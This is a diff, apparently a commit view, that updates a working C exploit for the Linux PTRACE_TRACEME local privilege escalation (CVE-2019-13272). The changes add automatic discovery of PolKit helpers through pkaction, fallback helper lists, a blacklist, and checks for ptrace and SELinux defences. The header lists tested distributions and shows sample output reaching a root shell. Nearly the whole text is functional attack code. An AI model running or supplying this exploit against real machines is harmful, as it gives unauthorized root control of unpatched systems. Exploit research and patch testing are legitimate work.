11// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
2- // Uses pkexec technique
2+ //
3+ // Uses pkexec technique. Requires execution within the context
4+ // of a user session with an active PolKit agent.
5+ //
6+ // Exploitation will fail if kernel.yama.ptrace_scope >= 2;
7+ // or SELinux deny_ptrace=on.
38// ---
49// Original discovery and exploit author: Jann Horn
510// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
1419// Tested on:
1520// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
1621// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
22+ // - Ubuntu 18.04.3 kernel 5.0.0-23-generic
1723// - Ubuntu 19.04 kernel 5.0.0-15-generic
1824// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
1925// - Linux Mint 17.3 kernel 4.4.0-89-generic
2430// - Backbox 6 kernel 4.18.0-21-generic
2531// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
2632// - Kali kernel 4.19.0-kali5-amd64
27- // - Redcore 1806 (LXQT) kernel 4.16.16-redcore
2833// - MX 18.3 kernel 4.19.37-2~mx17+1
2934// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
35+ // - CentOS 8 kernel 4.18.0-80.el8.x86_64
3036// - Debian 9.4.0 kernel 4.9.0-6-amd64
3137// - Debian 10.0.0 kernel 4.19.0-5-amd64
3238// - Devuan 2.0.0 kernel 4.9.0-6-amd64
3339// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
40+ // - SparkyLinux 5.9 kernel 4.19.0-6-amd64
3441// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
3542// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
3643// - Mageia 6 kernel 4.9.35-desktop-1.mga6
3744// - Antergos 18.7 kernel 4.17.6-1-ARCH
45+ // - lubuntu 19.04 kernel 5.0.0-13-generic
46+ // - Sabayon 19.03 kernel 4.20.0-sabayon
47+ // - Pop! OS 19.04 kernel 5.0.0-21-generic
3848// ---
39- // user@linux-mint-19-2:~ $ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
40- // user@linux-mint-19-2:~ $ ./ptrace_traceme_root
49+ // [ user@localhost CVE-2019-13272] $ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
50+ // [ user@localhost CVE-2019-13272] $ ./ptrace_traceme_root
4151// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
4252// [.] Checking environment ...
4353// [~] Done, looks good
44- // [.] Searching for known helpers ...
45- // [~] Found known helper: /usr/sbin/mate-power-backlight-helper
46- // [.] Using helper: /usr/sbin/mate-power -backlight-helper
54+ // [.] Searching policies for useful helpers ...
55+ // [.] Ignoring helper (does not exist) : /usr/sbin/pk-device-rebind
56+ // [.] Trying helper: /usr/libexec/gsd -backlight-helper
4757// [.] Spawning suid process (/usr/bin/pkexec) ...
4858// [.] Tracing midpid ...
4959// [~] Attached to midpid
50- // To run a command as administrator (user " root"), use "sudo <command>".
51- // See "man sudo_root" for details.
52- //
53- // root@linux-mint-19-2:/home/user#
60+ // [ root@localhost CVE-2019-13272]# id
61+ // uid=0(root) gid=0(root) groups=0(root),1000(user)
62+ // [root@localhost CVE-2019-13272]# uname -a
63+ // Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
5464// ---
5565
5666#define _GNU_SOURCE
8090# define dprintf
8191#endif
8292
83- #define SAFE (expr ) ({ \
84- typeof(expr) __res = (expr); \
85- if (__res == -1) { \
86- dprintf("[-] Error: %s\n", #expr); \
87- return 0; \
88- } \
89- __res; \
90- })
91- #define max (a ,b ) ((a)>(b) ? (a) : (b))
93+ /*
94+ * enabled automatic targeting.
95+ * uses pkaction to search PolKit policy actions for viable helper executables.
96+ */
97+ #define ENABLE_AUTO_TARGETING 1
9298
9399/*
94- * execveat() syscall
95- * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
100+ * fall back to known helpers if automatic targeting fails.
101+ * note: use of these helpers may result in PolKit authentication
102+ * prompts on the session associated with the PolKit agent.
96103 */
97- #ifndef __NR_execveat
98- # define __NR_execveat 322
99- #endif
104+ #define ENABLE_FALLBACK_HELPERS 1
100105
101106static const char * SHELL = "/bin/bash" ;
102107
@@ -111,13 +116,17 @@ struct stat st;
111116
112117const char * helpers [1024 ];
113118
119+ /* known helpers to use if automatic targeting fails */
120+ #if ENABLE_FALLBACK_HELPERS
114121const char * known_helpers [] = {
115122 "/usr/lib/gnome-settings-daemon/gsd-backlight-helper" ,
116123 "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper" ,
117124 "/usr/lib/unity-settings-daemon/usd-backlight-helper" ,
125+ "/usr/lib/unity-settings-daemon/usd-wacom-led-helper" ,
118126 "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper" ,
119127 "/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper" ,
120128 "/usr/sbin/mate-power-backlight-helper" ,
129+ "/usr/sbin/xfce4-pm-helper" ,
121130 "/usr/bin/xfpm-power-backlight-helper" ,
122131 "/usr/bin/lxqt-backlight_backend" ,
123132 "/usr/libexec/gsd-wacom-led-helper" ,
@@ -126,7 +135,36 @@ const char *known_helpers[] = {
126135 "/usr/lib/gsd-backlight-helper" ,
127136 "/usr/lib/gsd-wacom-led-helper" ,
128137 "/usr/lib/gsd-wacom-oled-helper" ,
138+ "/usr/lib64/xfce4/session/xsfm-shutdown-helper" ,
129139};
140+ #endif
141+
142+ /* helper executables known to cause problems (hang or fail) */
143+ const char * blacklisted_helpers [] = {
144+ "/xf86-video-intel-backlight-helper" ,
145+ "/cpugovctl" ,
146+ "/resetxpad" ,
147+ "/package-system-locked" ,
148+ "/cddistupgrader" ,
149+ };
150+
151+ #define SAFE (expr ) ({ \
152+ typeof(expr) __res = (expr); \
153+ if (__res == -1) { \
154+ dprintf("[-] Error: %s\n", #expr); \
155+ return 0; \
156+ } \
157+ __res; \
158+ })
159+ #define max (a ,b ) ((a)>(b) ? (a) : (b))
160+
161+ /*
162+ * execveat() syscall
163+ * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
164+ */
165+ #ifndef __NR_execveat
166+ # define __NR_execveat 322
167+ #endif
130168
131169/* temporary printf; returned pointer is valid until next tprintf */
132170static char * tprintf (char * fmt , ...) {
@@ -272,31 +310,39 @@ static int check_env(void) {
272310 dprintf ("[-] Could not find pkexec executable at %s\n" , pkexec_path );
273311 exit (EXIT_FAILURE );
274312 }
275- if (stat (pkaction_path , & st ) != 0 ) {
276- dprintf ("[-] Could not find pkaction executable at %s\n" , pkaction_path );
277- exit (EXIT_FAILURE );
278- }
279313
280314 if (stat ("/dev/grsec" , & st ) == 0 ) {
281- dprintf ("[- ] Warning: grsec is in use\n" );
315+ dprintf ("[! ] Warning: grsec is in use\n" );
282316 warn ++ ;
283317 }
318+
284319 if (xdg_session == NULL ) {
285320 dprintf ("[!] Warning: $XDG_SESSION_ID is not set\n" );
286321 warn ++ ;
287322 }
288- if (system ("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null" ) != 0 ) {
323+
324+ if (system ("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null" ) != 0 ) {
289325 dprintf ("[!] Warning: Could not find active PolKit agent\n" );
290326 warn ++ ;
291327 }
328+
329+ if (system ("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]" ) == 0 ) {
330+ dprintf ("[!] Warning: kernel.yama.ptrace_scope >= 2\n" );
331+ warn ++ ;
332+ }
333+
292334 if (stat ("/usr/sbin/getsebool" , & st ) == 0 ) {
293335 if (system ("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on" ) == 0 ) {
294336 dprintf ("[!] Warning: SELinux deny_ptrace is enabled\n" );
295337 warn ++ ;
296338 }
297339 }
298340
299- dprintf ("[~] Done, looks good\n" );
341+ if (warn > 0 ) {
342+ dprintf ("[~] Done, with %d warnings\n" , warn );
343+ } else {
344+ dprintf ("[~] Done, looks good\n" );
345+ }
300346
301347 return warn ;
302348}
@@ -306,25 +352,32 @@ static int check_env(void) {
306352 * Check each action for allow_active=yes, extract the associated helper path,
307353 * and check the helper path exists.
308354 */
355+ #if ENABLE_AUTO_TARGETING
309356int find_helpers () {
357+ if (stat (pkaction_path , & st ) != 0 ) {
358+ dprintf ("[-] No helpers found. Could not find pkaction executable at %s.\n" , pkaction_path );
359+ return 0 ;
360+ }
361+
310362 char cmd [1024 ];
311363 snprintf (cmd , sizeof (cmd ), "%s --verbose" , pkaction_path );
312364 FILE * fp ;
313365 fp = popen (cmd , "r" );
314366 if (fp == NULL ) {
315- dprintf ("[-] Failed to run: %s\n" , cmd );
316- exit ( EXIT_FAILURE ) ;
367+ dprintf ("[-] Failed to run %s: %m \n" , cmd );
368+ return 0 ;
317369 }
318370
319371 char line [1024 ];
320372 char buffer [2048 ];
321373 int helper_index = 0 ;
322374 int useful_action = 0 ;
375+ int blacklisted_helper = 0 ;
323376 static const char * needle = "org.freedesktop.policykit.exec.path -> " ;
324377 int needle_length = strlen (needle );
325378
326379 while (fgets (line , sizeof (line )- 1 , fp ) != NULL ) {
327- /* check the action uses allow_active=yes*/
380+ /* check the action uses allow_active=yes */
328381 if (strstr (line , "implicit active:" )) {
329382 if (strstr (line , "yes" )) {
330383 useful_action = 1 ;
@@ -334,6 +387,7 @@ int find_helpers() {
334387
335388 if (useful_action == 0 )
336389 continue ;
390+
337391 useful_action = 0 ;
338392
339393 /* extract the helper path */
@@ -350,17 +404,23 @@ int find_helpers() {
350404 buffer [i ] = found [needle_length + i ];
351405 }
352406
353- if (strstr (& buffer [0 ], "/xf86-video-intel-backlight-helper" ) != 0 ||
354- strstr (& buffer [0 ], "/cpugovctl" ) != 0 ||
355- strstr (& buffer [0 ], "/package-system-locked" ) != 0 ||
356- strstr (& buffer [0 ], "/cddistupgrader" ) != 0 ) {
357- dprintf ("[.] Ignoring blacklisted helper: %s\n" , & buffer [0 ]);
358- continue ;
407+ /* check helper path against helpers defined in 'blacklisted_helpers' array */
408+ blacklisted_helper = 0 ;
409+ for (i = 0 ; i < sizeof (blacklisted_helpers )/sizeof (blacklisted_helpers [0 ]); i ++ ) {
410+ if (strstr (& buffer [0 ], blacklisted_helpers [i ]) != 0 ) {
411+ dprintf ("[.] Ignoring helper (blacklisted): %s\n" , & buffer [0 ]);
412+ blacklisted_helper = 1 ;
413+ break ;
414+ }
359415 }
416+ if (blacklisted_helper == 1 )
417+ continue ;
360418
361419 /* check the path exists */
362- if (stat (& buffer [0 ], & st ) != 0 )
420+ if (stat (& buffer [0 ], & st ) != 0 ) {
421+ dprintf ("[.] Ignoring helper (does not exist): %s\n" , & buffer [0 ]);
363422 continue ;
423+ }
364424
365425 helpers [helper_index ] = strndup (& buffer [0 ], strlen (buffer ));
366426 helper_index ++ ;
@@ -372,11 +432,12 @@ int find_helpers() {
372432 pclose (fp );
373433 return 0 ;
374434}
435+ #endif
375436
376437// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
377438
378439int ptrace_traceme_root () {
379- dprintf ("[.] Using helper: %s\n" , helper_path );
440+ dprintf ("[.] Trying helper: %s\n" , helper_path );
380441
381442 /*
382443 * set up a pipe such that the next write to it will block: packet mode,
@@ -436,29 +497,38 @@ int main(int argc, char **argv) {
436497 exit (0 );
437498 }
438499
439- /* Search for known helpers defined in 'known_helpers' array */
440- dprintf ("[.] Searching for known helpers ...\n" );
441500 int i ;
442- for (i = 0 ; i < sizeof (known_helpers )/sizeof (known_helpers [0 ]); i ++ ) {
443- if (stat (known_helpers [i ], & st ) == 0 ) {
444- helper_path = known_helpers [i ];
445- dprintf ("[~] Found known helper: %s\n" , helper_path );
446- ptrace_traceme_root ();
447- }
448- }
449501
450- /* Search polkit policies for helper executables */
451- dprintf ("[.] Searching for useful helpers ...\n" );
502+ #if ENABLE_AUTO_TARGETING
503+ /* search polkit policies for helper executables */
504+ dprintf ("[.] Searching policies for useful helpers ...\n" );
452505 find_helpers ();
453506 for (i = 0 ; i < sizeof (helpers )/sizeof (helpers [0 ]); i ++ ) {
454507 if (helpers [i ] == NULL )
455508 break ;
456509
457- if (stat (helpers [i ], & st ) == 0 ) {
458- helper_path = helpers [i ];
459- ptrace_traceme_root ();
460- }
510+ if (stat (helpers [i ], & st ) != 0 )
511+ continue ;
512+
513+ helper_path = helpers [i ];
514+ ptrace_traceme_root ();
461515 }
516+ #endif
517+
518+ #if ENABLE_FALLBACK_HELPERS
519+ /* search for known helpers defined in 'known_helpers' array */
520+ dprintf ("[.] Searching for known helpers ...\n" );
521+ for (i = 0 ; i < sizeof (known_helpers )/sizeof (known_helpers [0 ]); i ++ ) {
522+ if (stat (known_helpers [i ], & st ) != 0 )
523+ continue ;
524+
525+ helper_path = known_helpers [i ];
526+ dprintf ("[~] Found known helper: %s\n" , helper_path );
527+ ptrace_traceme_root ();
528+ }
529+ #endif
530+
531+ dprintf ("[~] Done\n" );
462532
463533 return 0 ;
464534}
0 commit comments